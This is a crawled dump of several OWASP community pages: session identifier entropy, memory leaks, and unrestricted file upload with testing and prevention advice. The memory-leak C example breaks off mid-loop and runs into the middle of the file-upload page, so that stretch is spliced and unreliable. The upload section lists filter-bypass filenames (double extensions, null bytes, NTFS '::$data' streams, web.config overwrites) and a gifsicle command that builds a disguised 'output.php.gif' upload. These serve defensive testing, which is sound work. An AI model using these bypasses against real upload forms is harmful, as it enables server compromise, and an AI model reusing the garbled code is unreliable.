Description\n\nSession identifiers must have **at least 64 bits of entropy** to prevent brute-force session guessing attacks. Entropy refers to the amount of randomness or unpredictability in a value. Each “bit” of entropy doubles the number of possible outcomes, meaning a session ID with 64 bits of entropy can have 264 possible values. This randomness provides security, as it makes it harder for attackers to guess valid session IDs.\n\nIt’s important to understand that session ID length alone is not a sufficient indicator of security. Instead, the critical factor is the entropy (or randomness) contained within the session identifier. While the length of the session ID can affect how much entropy is encoded, the actual entropy depends on how the session ID is generated. Encoding methods (e.g., hexadecimal, Base64, etc) influence how the session ID is represented, but the security ultimately comes from the randomness of the identifier, not the encoding itself.\n\n### Key Takeaways\n\n- **Entropy is the most important factor** : No matter the session ID length, the goal is to achieve at least 64 bits of entropy.\n- **Randomness over length** : The randomness and unpredictability of session IDs are what ultimately prevent attacks, not just the length of the session identifier.\n- **Encoding can impact required length** : If using hexadecimal encoding, the randomly chosen session ID must be at least 16 hexadecimal characters long to achieve the required 64 bits of entropy. If using another encoding, a different character length may be required.\n- **Estimating attack difficulty** : The expected number of guesses required by an attacker to guess a valid session ID can be calculated based on the bits of entropy (B), the number of valid sessions (S), and the attacker’s guessing rate (A). For example, the expected time for an attacker to succeed is approximately:\n\n### Session ID Length and Entropy Relationship\n\nThe most important factor in securing session identifiers is the amount of entropy they contain. While longer session IDs are often recommended, the actual security comes from the randomness within the identifier, not just its length.\n\n#### Focus on Hexadecimal Encoding\n\nHexadecimal encoding is commonly used in session identifiers. Each hexadecimal character (0-9, A-F) represents 4 bits of entropy. This means that to achieve 64 bits of entropy, a session ID must contain at least 16 random hexadecimal characters, which provides 264 possible combinations. When each character is chosen randomly, the session ID offers the desired 64 bits of entropy, making it secure against brute-force guessing attacks. Let’s explore good and bad examples of hexadecimal session IDs to better understand this:\n\n1. **Good Example - 64 bits of entropy (16 characters)**\n - Example Session ID: `A1B2C3D4E5F67890`\n - This is a 16-character hexadecimal value. Assuming 16 random hexadecimal characters are chosen, there are 2 64 possible combinations. This represents exactly 64 bits of entropy. With 2 64 possible combinations, it is secure against brute-force guessing attacks as demonstrated below.\n2. **Bad Example - 32 bits of entropy (8 characters)**\n - Example Session ID: `A1B2C3D4`\n - This is an 8-character hexadecimal value. While it’s half the length of the good example, it provides significantly less security because there are only 2 32 possible values. This provides 32 bits of entropy and is vulnerable to brute-force attacks as discussed later.\n\n**Note:** When session IDs are stored or transmitted as text (e.g., in a cookie), they may be represented using ASCII or UTF-8 encoding. This does not affect the entropy but does influence the size of the session identifier. For example, a 16-character hexadecimal session ID occupies 16 bytes (128 bits) when encoded as ASCII, but it still only represents 64 bits of entropy.\n\n#### Examples Where Length Alone Isn’t Sufficient\n\nWhile hexadecimal encoding provides a clear relationship between length and entropy, length alone can be misleading depending on the encoding or generation method used. Let’s explore some illustrative but hypothetical examples:\n\n1. **Session ID using Binary encoding**\n - Example Session ID: `1010101010101010`\n - This session ID is 16 characters long, but because each character can only represent 0 or 1, there are only 2 16 possible values. The total entropy is just 16 bits. This shows that despite its length of 16 characters, the security of this session ID is very low.\n - This is not used in practice but illustrative of the concept.\n2. **Session ID using Base64 encoding**\n - Example Session ID #1: `abcdefghijkl`\n - Example Session ID #2: `mnopqrstuvwx`\n - This 12-character Base64 value can represent 72 bits of entropy. Base64 is more efficient than hexadecimal because each character represents more than 4 bits of entropy. The result is that even though this session ID is shorter than the previous hexadecimal example, it offers significantly more security.\n - We can use the popular encoding/decoding tool CyberChef to confirm this value can represent a 72-bit number. We can see [example #1](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Binary('None',8)&input=YWJjZGVmZ2hpamts) and [example #2](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)To_Binary('None',8)&input=bW5vcHFyc3R1dnd4) decode to a 72-bit binary value.\n3. **16-byte hexadecimal session ID with fixed characters**\n - Example Session ID #1: `DECAFBAD12345678`\n - Example Session ID #2: `DECAFBAD87654321`\n - Example Session ID #3: `DECAFBAD12341234`\n - In this case, the first half of the session ID ( `DECAFBAD` ) is fixed and predictable, while only the second half is random. Because there are only 8 random hexadecimal characters, this means that there are only 2 32 possible values. This means that the session ID provides only 32 bits of entropy, despite being 16 characters long. Predictable patterns in the session ID can severely undermine security.\n\nThese examples show that **session ID length alone is not a reliable indicator of security** — what matters is the amount of randomness (entropy) the ID can represent.\n\n### Estimating Attack Time\n\nThe time required to guess a valid session identifier depends on several factors:\n\n- **Entropy (B)** : The number of bits of randomness in the session identifier.\n- **Valid sessions (S)** : The number of valid session identifiers available at any time.\n- **Guesses per second (A)** : The speed at which an attacker can try potential session identifiers.\n\nThe attack time can be estimated using two different formulas depending on whether session IDs are dynamic (changing during the attack) or static (remaining constant). These scenarios reflect different real-world situations, such as expiring user sessions or long-lived tokens like API keys.\n\nHere’s a simple webpage that implements these 2 formulas where you can test these different conditions: [https://jakekarnes42.github.io/session-id-guesser/](https://jakekarnes42.github.io/session-id-guesser/)\n\n#### Formula 1: Dynamic Session IDs (e.g., users logging in/out)\n\nIn this scenario, session IDs are constantly changing due to users logging in, logging out, or session expiration. Each guess is independent, meaning previously guessed values might later become valid. Because the guesses are independent, the expected number of guesses to find a valid session ID can be estimated using a geometric distribution. The formula to estimate the expected time for an attacker to guess a valid session ID is:\n\n#### Formula 2: Static Session IDs (e.g., API keys or tokens)\n\nIn this scenario, we’ll assume that the set of valid session identifiers is **not** changing throughout the attack. In the real world, this could occur when the attacker is able to exhaust all possibilities quickly (e.g., low entropy or many requests per second) or when targeting long-lived identifiers (e.g., API keys or tokens). When the set of valid session identifiers remains static, the attack becomes more efficient because the attacker can eliminate previously guessed invalid session IDs. This scenario follows the hypergeometric distribution, where the expected number of guesses is the average position of the first valid session ID among all possible values. In this case, the expected time for an attacker to guess a valid session ID is:\n\nThis formula accounts for the increasing probability of success with each guess as the pool of possible valid session IDs shrinks.\n\n### Example Calculations\n\nThe following provides some example calcuations based on different attack scenarios.\n\n#### Example 1\n\nLet’s consider that the target website is using 32 bits of entropy for its session identifiers. This is a fairly active website with 10,000 valid sessions at any given moment. The attacker is able to leverage one or more computers to send 1,000 guesses per second. Let’s calculate how long it’s expected to take for the attacker to guess a valid session ID.\n\nWe have the following as our key variables:\n\n- ( B = 32 ) bits of entropy\n- ( S = 10,000 ) valid session IDs\n- ( A = 1,000 ) guesses per second\n\nUsing Formula 1 (dynamic session IDs):\n\nUsing Formula 2 (static session IDs):\n\nWe can see that for large values of ( B ), the difference is negligible.\n\n#### Example 2: 64 bits of entropy, 100,000 valid sessions, 10,000 guesses per second\n\nLet’s consider now that the target website is using stronger session identifiers with 64 bits of entropy. This is a very large, active website with 100,000 valid sessions at any given moment. The attacker is able to leverage many computers to send a total of 10,000 guesses per second. Let’s calculate how long it’s expected to take for the attacker to guess a valid session ID.\n\n- ( B = 64 ) bits of entropy\n- ( S = 100,000 ) valid session IDs\n- ( A = 10,000 ) guesses per second\n\nUsing Formula 1 (dynamic session IDs):\n\nUsing Formula 2 (static session IDs):\n\nWe can see that even though the attacker has more potential session ids to compromise, and is making many more requests per second, the 64 bits of entropy in the session ID make it effectively unguessable.\n\n## Risk Factors\n\n- Attackers that are trying to obtain a valid session ID for [Session hijacking](../attacks/Session_hijacking_attack) .\n- The attack becomes more feasible if session identifiers are not random enough or lack sufficient entropy.\n\n- [Brute force attack](../attacks/Brute_force_attack)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 10459, "slov": 1630, "odkazu": 32, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:58", "sha256": "554893c33575f0e97378ff8380bc499e8cdcb43e9984110defa2c1712afead77", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://gchq.github.io/CyberChef/", "https://jakekarnes42.github.io/session-id-guesser/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Memory_leak", "titulek": "Memory leak | OWASP Foundation", "h1": "Memory leak", "popis": "Memory leak on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/Memory_leak", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Memory leak on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Memory leak | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/Memory_leak", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Memory leak"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "References"}], "markdown": "# Memory leak\n\n## Description\n\nA memory leak is an unintentional form of memory consumption whereby the developer fails to free an allocated block of memory when no longer needed. The consequences of such an issue depend on the application itself. Consider the following general three cases:\n\n| Case | Description of Consequence |\n| --- | --- |\n| **Short Lived User-land Application** | Little if any noticable effect. Modern operating system recollects lost memory after program termination. |\n| **Long Lived User-land Application** | Potentially dangerous. These applications continue to waste memory over time, eventually consuming all RAM resources. Leads to abnormal system behavior. |\n| **Kernel-land Process** | Very dangerous. Memory leaks in the kernel level lead to serious system stability issues. Kernel memory is very limited compared to user land memory and should be handled cautiously. |\n\nMemory is allocated but never freed.\n\nMemory leaks have two common and sometimes overlapping causes:\n\n- Error conditions and other exceptional circumstances.\n- Confusion over which part of the program is responsible for freeing the memory\n\nMost memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing the program) or take advantage of other unexpected program behavior resulting from a low memory condition [1].\n\n## Risk Factors\n\n- Talk about the [factors](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) that make this vulnerability likely or unlikely to actually happen\n- Discuss the technical impact of a successful exploit of this vulnerability\n- Consider the likely [business impacts] of a successful attack\n\n## Examples\n\n### Example 1\n\nThe following example is a basic memory leak in C:\n\n```\n#include \n#include \n\n#define LOOPS 10\n#define MAXSIZE 256\n\nint main(int argc, char **argv)\n{\n int count = 0;\n char *pointer = NULL;\n\n for(count=0; count”, “<”, and double quote “ characters respectively\nconvert to “?”, “*”, and “.” characters that can be used to replace\nexisting files (e.g. “web<<” can replace the “web.config” file).\nIn order to include the double quote character in the filename in a\nnormal file upload request, the filename in the\n“Content-Disposition” header should use single quotes (e.g.\nfilename=’web”config’ to replace the “web.config” file).\n- Finding neutral characters after a filename such as trailing spaces\nand dots in Windows filesystem or dot and slash characters in a\nLinux filesystem. These characters at the end of a filename will be\nremoved automatically (e.g. “file.asp … … . . .. ..”, “file.asp\n“, or “file.asp.”). Although slash or backslash characters are also\nnormally problematic characters, they can be ignored in a normal\nfile upload request as anything before these characters may count as\nthe directory name on the server-side; that said, they should be\ntried for a thorough test (e.g. “test.php/” or “test.php.\\”).\n- Finding flaws in extension detection techniques. A web server may\nuse the first extension after the first dot (“.”) in the provided\nfilename or use a flawed algorithm to detect the extension when\nthere is none or multiple dot characters (e.g. “file.txt.jpg.php”).\n- Using control characters such as null character (0x00) after a\nforbidden extension and before a permitted one may lead to a bypass.\nIn this method, all the strings after the Null character will be\ndiscarded when saving the files. Both URL-encoded and decoded\nversion of the null character should be tried in a file upload\nrequest for a thorough test.\n- Using NTFS alternate data stream (ADS) in Windows. In this case, a\ncolon character “:” will be inserted after a forbidden extension and\nbefore a permitted one. As a result, an empty file with the\nforbidden extension will be created on the server (e.g.\n“file.asax:.jpg”). This file might be edited later using other\ntechniques such as using its short filename. The “::$data” pattern\ncan also be used to create non-empty files. Therefore, adding a dot\ncharacter after this pattern might also be useful to bypass further\nrestrictions (.e.g. “file.asp::$data.”)\n- Flaws in the protection mechanism when it replaces dangerous\nextensions. For instance, “file.p.phphp” might be changed to\n“file.php” after going through this functionality.\n- Flaws in the uploaded file usage for instance when a PHP application\nuses the “include” function to show the uploaded images.\n- Combination of the above techniques.\n\n### Beating getimagesize()\n\nThe getimagesize() function will check if it is an image and will check\n“mime” to verify image type.\n\nInsecure Configuration :\n\n```\n\n SetHandler application/x-httpd-php\n\n```\n\nSecure Configuration :\n\n```\n\n SetHandler application/x-httpd-php\n\n```\n\nIf the service is up an running with the Insecure Configuration, any one\ncan beat the getimagesize function by writing comments in GIF file.\n\nFor that an end user needs to install an utility in Kali/Ubuntu OS named\nâ€�gifsicle’\n\n` For Kali Linux : apt-get install gifsicle For Ubuntu : sudo apt-get install gifsicle`\n\nOnce installed, the below commands will help writing the commands in a gif\nfile.\n\n```\ngifsicle < mygif.gif -- comment \"\n\n\n \" \\> output.php.gif\n```\n\nThe above command will create a file with the name “output.php.gif” which simply needs to be uploaded during the check of file upload\nvulnerability.\n\n### Allow Listing File Extensions\n\nApplications that check the file extensions using an allow list method\nalso need to validate the full filename to prevent any bypass.\n\n- The list of permitted extensions should be reviewed as it can\ncontain malicious extensions as well. For instance, in case of\nhaving “.shtml” in the list, the application can be vulnerable to\nSSI attacks.\n- Some of the bypass techniques for the deny list methods such as\nusing double extensions are also applicable here and should be\nchecked.\n\n### “Content-Type” Header Validation\n\n“Content-Type” entity in the header of the request indicates the\nInternet media type of the message content. Sometimes web applications\nuse this parameter in order to recognise a file as a valid one. For\ninstance, they only accept the files with the “Content-Type” of\n“text/plain”.\n\n- It is possible to bypass this protection by changing this parameter\nin the request header using a web proxy.\n\n### Using a File Type Detector\n\nSometimes web applications intentionally or unintentionally use some\nfunctions (or APIs) to check the file types in order to process them\nfurther. For instance, when an application resize an image file, it may\njust show an error message when non-image files are uploaded without\nsaving them on the server.\n\n- If it reads the few first characters (or headers), it can be\nbypassed by inserting malicious code after some valid header or\nwithin the file’s metadata.\n- Inserting code in the comments section or those section that have no\neffect on the main file can also lead to a bypass.\n- The inserted data can be obfuscated or encoded if the application\ndetects a malicious code using specific patterns or signatures.\n- Uploaded file can be crafted to create a malicious code in case of\nbeing compressed by the application.\n\n### Other Interesting Test Cases\n\n- Uploading a file when another file with the same name already\nexists. This may show interesting error messages that can lead to\ninformation disclosure. Logical flaws might be found if the\napplication renames the new file to keep it on the server.\n- Uploading a file when another folder with the same name already\nexists. This may show interesting error messages that can lead to\ninformation disclosure.\n- Uploading a file with a long name. This may show interesting error\nmessages that can lead to information disclosure.\n- Uploading a file multiple times at the same time. This may show\ninteresting error messages that can lead to information disclosure.\n- Uploading valid and invalid files in different formats such as\ncompressed or XML files to detect any possible processing on the\nserver side.\n- Uploading a file with “.”, “..”, or “…” as its name. For instance,\nin Apache in Windows, if the application saves the uploaded files in\n“/www/uploads/” directory, the “.” filename will create a file\ncalled “uploads” in the “/www/” directory.\n- Uploading files that may not be deleted easily such as “…:.jpg” in\nNTFS that makes the “…” file (this file can be deleted using\ncommand line). This may show interesting error messages that can\nlead to information disclosure.\n- Uploading a file in Windows with invalid characters such as\n|<>*?” in its name. This may show interesting error messages that\ncan lead to information disclosure.\n- Uploading a file in Windows using reserved (forbidden) names such as\nCON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8,\nCOM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. This\nmay show interesting error messages that can lead to information\ndisclosure. Uploading a file with a reserved name may lead to denial\nof service if the application keeps the name and tries to save it\nwith another extension (detecting it wrongly as an existing file).\n- Cross-site content hijacking issues can be exploited by uploading a\nfile with allowed name and extension but with Flash, PDF, or\nSilverlight contents.\n- Uploading a “crossdomain.xml” or “clientaccesspolicy.xml” file can\nmake a website vulnerable to cross-site content hijacking. These\nfiles should be uploaded to the root of the website to work.\nHowever, the “crossdomain.xml” file can be in a subdirectory as long\nas it is allowed in the root “crossdomain.xml” file.\n\n### Important Notes in Testing File Uploaders\n\n- Do not try to replace the existing files during testing unless it is\nsafe to proceed. For instance, replacing configuration files such as\n“web.config” or “.htaccess” file can lead to a denial of service\nattack for the whole website.\n\n## Prevention Methods (Solutions to be more secure)\n\nIn order to make a Windows server more secure, it is very important to\nfollow the Microsoft security best practices first. For this purpose,\nsome of the useful links are:\n\n- IIS 6.0 Security Best\nPractices[ [http://technet.microsoft.com/en-us/library/cc782762(WS.10](http://technet.microsoft.com/en-us/library/cc782762(WS.10) ).aspx]\n- Securing Sites with Web Site\nPermissions[ [http://technet.microsoft.com/en-us/library/cc756133(WS.10](http://technet.microsoft.com/en-us/library/cc756133(WS.10) ).aspx]\n- IIS 6.0 Operations\nGuide[ [http://technet.microsoft.com/en-us/library/cc785089(WS.10](http://technet.microsoft.com/en-us/library/cc785089(WS.10) ).aspx]\n- Improving Web Application Security: Threats and\nCountermeasures [1](http://msdn.microsoft.com/en-us/library/ms994921.aspx)\n- Understanding the Built-In User and Group Accounts in IIS\n7.0 [2](https://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/)\n- IIS Security\nChecklist [3](http://windows.stanford.edu/docs/IISsecchecklist.htm)\n\nAnd some special recommendations for the developers and webmasters:\n\n- The file types allowed to be uploaded should be restricted to only\nthose that are necessary for business functionality.\n- Never accept a filename and its extension directly without having an\nallow list filter.\n- The application should perform filtering and content checking on any\nfiles which are uploaded to the server. Files should be thoroughly\nscanned and validated before being made available to other users. If\nin doubt, the file should be discarded.\n- It is necessary to have a list of only permitted extensions on the\nweb application. And, file extension can be selected from the list.\nFor instance, it can be a “select case” syntax (in case of having\nVBScript) to choose the file extension in regards to the real file\nextension.\n- All the control characters and Unicode ones should be removed from\nthe filenames and their extensions without any exception. Also, the\nspecial characters such as “;”, “:”, “>”, “<”, “/” ,”\\”,\nadditional “.”, “*”, “%”, “$”, and so on should be discarded as\nwell. If it is applicable and there is no need to have Unicode\ncharacters, it is highly recommended to only accept Alpha-Numeric\ncharacters and only 1 dot as an input for the file name and the\nextension; in which the file name and also the extension should not\nbe empty at all (regular expression: `^\\[a-zA-Z0-9\\]{1,200}\\\\.\\[a-zA-Z0-9\\]{1,10}$` ).\n- Limit the filename length. For instance, the maximum length of the\nname of a file plus its extension should be less than 255 characters\n(without any directory) in an NTFS partition.\n- It is recommended to use an algorithm to determine the filenames.\nFor instance, a filename can be a hash of the name of file plus\nthe date of the day.\n- Uploaded directory should not have any “execute” permission and all\nthe script handlers should be removed from these directories.\n- Limit the file size to a maximum value in order to prevent denial of\nservice attacks (on file space or other web application’s functions\nsuch as the image resizer).\n- Restrict small size files as they can lead to denial of service\nattacks. So, the minimum size of files should be considered.\n- Use Cross Site Request Forgery protection methods.\n- Prevent from overwriting a file in case of having the same hash for\nboth.\n- Use a virus scanner on the server (if it is applicable). Or, if the\ncontents of files are not confidential, a free virus scanner website\ncan be used. In this case, file should be stored with a random name\nand without any extension on the server first, and after the virus\nchecking (uploading to a free virus scanner website and getting back\nthe result), it can be renamed to its specific name and extension.\n- Try to use POST method instead of PUT (or GET!)\n- Log users’ activities. However, the logging mechanism should be\nsecured against log forgery and code injection itself.\n- In case of having compressed file extract functions, contents of the\ncompressed file should be checked one by one as a new file.\n- If it is possible, consider saving the files in a database rather\nthan on the filesystem.\n- If files should be saved in a filesystem, consider using an isolated\nserver with a different domain to serve the uploaded files.\n- File uploaders should be only accessible to authenticated and\nauthorised users if possible.\n- Write permission should be removed from files and folders other than\nthe upload folders. The upload folders should not serve any\n- Ensure that configuration files such as “.htaccess” or “web.config”\ncannot be replaced using file uploaders. Ensure that appropriate\nsettings are available to ignore the “.htaccess” or “web.config”\nfiles if uploaded in the upload directories.\n- Ensure that files with double extensions (e.g. “file.php.txt”)\ncannot be executed especially in Apache.\n- Ensure that uploaded files cannot be accessed by unauthorised users.\n- Adding the “Content-Disposition: Attachment” and\n“X-Content-Type-Options: nosniff” headers to the response of static\nfiles will secure the website against Flash or PDF-based cross-site\ncontent-hijacking attacks. It is recommended that this practice be\nperformed for all of the files that users need to download in all\nthe modules that deal with a file download. Although this method\ndoes not fully secure the website against attacks using Silverlight\nor similar objects, it can mitigate the risk of using Adobe Flash\nand PDF objects, especially when uploading PDF files is permitted.\n- Flash/PDF (crossdomain.xml) or Silverlight (clientaccesspolicy.xml)\ncross-domain policy files should be removed if they are not in use\nand there is no business requirement for Flash or Silverlight\napplications to communicate with the website.\n- Browser caching should be disabled for the crossdomain.xml and\nclientaccesspolicy.xml files. This enables the website to easily\nupdate the file or restrict access to the Web services if necessary.\nOnce the client access policy file is checked, it remains in effect\nfor the browser session so the impact of non-caching to the end-user\nis minimal. This can be raised as a low or informational risk issue\nbased on the content of the target website and security and\ncomplexity of the policy file(s).\n- CORS headers should be reviewed to only be enabled for static or\npublicly accessible data. Otherwise, the\n“Access-Control-Allow-Origin” header should only contain authorised\naddresses. Other CORS headers such as\n“Access-Control-Allow-Credentials” should only be used when they are\nrequired. Items within the CORS headers such as\n“Access-Control-Allow-Methods” or “Access-Control-Allow-Headers”\nshould be reviewed and removed if they are not required.\n\n- [Path Traversal](Path_Traversal)\n- [Path Manipulation](Path_Manipulation)\n- [Relative Path Traversal](Relative_Path_Traversal)\n- [Windows_::DATA_alternate_data_stream](Windows_::DATA_alternate_data_stream)\n\n- [:Category:Input Validation\nVulnerability](:Category:Input_Validation_Vulnerability)\n\n- [:Category:Input Validation](:Category:Input_Validation)\n\n- [:Category:External Threat\nAgent](:Category:External_Threat_Agent)\n- [:Category:Internal Threat\nAgent](:Category:Internal_Threat_Agent)\n- [:Category:Internet\nattacker](:Category:Internet_attacker)\n- [:Category:Intranet\nattacker](:Category:Intranet_attacker)\n\n- [System Access](System_Access)\n- [Security Bypass](Security_Bypass)\n- [Exposure of system\ninformation](Exposure_of_system_information)\n- [Exposure of sensitive\ninformation](Exposure_of_sensitive_information)\n- [Client Side Threat](Client_Side_Threat)\n\n## References\n\n- Improve File Uploaders’ Protections – Bypass Methods- Rev. 1.0\n- 8 basic rules to implement secure file uploads - SANS - [4](http://software-security.sans.org/blog/2009/12/28/8-basic-rules-to-implement-secure-file-uploads)\n- IIS6/ASP & file upload for fun and profit [5](http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/)\n- Secure file upload in PHP web applications [6](http://www.net-security.org/dl/articles/php-file-upload.pdf)\n- Potentially Dangerous File Types [7](http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf)\n- Secure File Upload Check List With PHP [10](http://hungred.com/useful-information/secure-file-upload-check-list-php/)\n- NTFS in WikiPedia [11](https://en.wikipedia.org/wiki/NTFS)\n- NTFS Streams\n[ [http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10](http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10) ).aspx]\n- NTFS - Glossary [12](http://inform.pucp.edu.pe/~inf232/Ntfs/ntfs_doc_v0.5/help/glossary.html)\n- IIS 6.0 Security Best Practices\n[ [http://technet.microsoft.com/en-us/library/cc782762(WS.10](http://technet.microsoft.com/en-us/library/cc782762(WS.10) ).aspx]\n- Securing Sites with Web Site Permissions\n[ [http://technet.microsoft.com/en-us/library/cc756133(WS.10](http://technet.microsoft.com/en-us/library/cc756133(WS.10) ).aspx]\n- IIS 6.0 Operations Guide\n[ [http://technet.microsoft.com/en-us/library/cc785089(WS.10](http://technet.microsoft.com/en-us/library/cc785089(WS.10) ).aspx]\n- Improving Web Application Security: Threats and Countermeasures [13](http://msdn.microsoft.com/en-us/library/ms994921.aspx)\n- Understanding the Built-In User and Group Accounts in IIS 7.0 [14](https://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/)\n- IIS Security Checklist [15](http://windows.stanford.edu/docs/IISsecchecklist.htm)\n- Microsoft IIS ASP Multiple Extensions Security Bypass [16](http://secunia.com/advisories/37831/)\n- CVE-2009-4444 [17](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444)\n- CVE-2009-4445 [18](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445)\n- CVE-2009-1535 [19](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535)\n- MSDN - Naming Files, Paths, and Namespaces\n[ [https://msdn.microsoft.com/en-gb/library/windows/desktop/aa365247(v=vs.85](https://msdn.microsoft.com/en-gb/library/windows/desktop/aa365247(v=vs.85) ).aspx]\n- Even uploading a JPG file can lead to Cross-Site Content Hijacking\n(client-side attack) [20](https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/)\n- Cross-Site Content (Data) Hijacking (XSCH) PoC Project [21](https://github.com/nccgroup/CrossSiteContentHijacking)\n- iPhone MobileSafari LibTIFF Buffer Overflow [22](https://www.exploit-db.com/exploits/16862/)\n- ImageMagick Is On Fire-CVE-2016–3714 [23](https://imagetragick.com/)\n- Symantec Antivirus multiple remote memory corruption unpacking RAR\nCVE-2016-2207 [24](https://bugs.chromium.org/p/project-zero/issues/detail?id=810)\n- File in the hole - HackPra Nov. 2012 [25](https://www.nds.rub.de/media/attachments/files/2012/11/File-in-the-hole.pdf)\n- Self contained web shells and other attacks via .htaccess files [26](https://github.com/wireghoul/htshells)\n- Upload a web.config File for Fun & Profit [27](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)\n- PHP filesystem attack vectors - Take Two [28](http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/)\n- File Upload and PHP on IIS: >=? and <=* and “=. [29](https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/)\n\n## Authors\n\n- [Soroush Dalili](User:Soroush_Dalili)\n- [Dirk Wetter](User:Dirk_Wetter)\n- [Landon Mayo](User:Landon_Mayo)\n- [OWASP](User:OWASP)\n\n**NOTOC**\n\n[Category:OWASP ASDR Project](Category:OWASP_ASDR_Project) [Category:File System](Category:File_System) [Category:Windows](Category:Windows) [Category:Unix](Category:Unix) [Category:Use of Dangerous\nAPI](Category:Use_of_Dangerous_API) [Category:Vulnerability](Category:Vulnerability)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 27033, "slov": 3779, "odkazu": 87, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:03", "sha256": "3c56c2b78e41691c5cddd799b622575f4569e327f8f178f941720ea4e32adcb3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://technet.microsoft.com/en-us/library/cc782762(WS.10", "http://technet.microsoft.com/en-us/library/cc756133(WS.10", "http://technet.microsoft.com/en-us/library/cc785089(WS.10", "http://msdn.microsoft.com/en-us/library/ms994921.aspx", "https://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/", "http://windows.stanford.edu/docs/IISsecchecklist.htm", "http://soroush.secproject.com/blog/2010/03/improve-file-uploaders%E2%80%99-protections-rev-1-0/", "http://software-security.sans.org/blog/2009/12/28/8-basic-rules-to-implement-secure-file-uploads", "http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/", "http://www.net-security.org/dl/articles/php-file-upload.pdf", "http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf", "http://hungred.com/useful-information/secure-file-upload-check-list-php/", "https://en.wikipedia.org/wiki/NTFS", "http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10", "http://inform.pucp.edu.pe/~inf232/Ntfs/ntfs_doc_v0.5/help/glossary.html", "http://secunia.com/advisories/37831/", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535", "https://msdn.microsoft.com/en-gb/library/windows/desktop/aa365247(v=vs.85", "https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/", "https://github.com/nccgroup/CrossSiteContentHijacking", "https://www.exploit-db.com/exploits/16862/", "https://imagetragick.com/", "https://bugs.chromium.org/p/project-zero/issues/detail?id=810", "https://www.nds.rub.de/media/attachments/files/2012/11/File-in-the-hole.pdf", "https://github.com/wireghoul/htshells", "https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/", "http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/", "https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/Using_a_broken_or_risky_cryptographic_algorithm", "titulek": "Using a broken or risky cryptographic algorithm | OWASP Foundation", "h1": "Using a broken or risky cryptographic algorithm", "popis": "Using a broken or risky cryptographic algorithm on the main website for The OWASP Foundation. OWASP is a 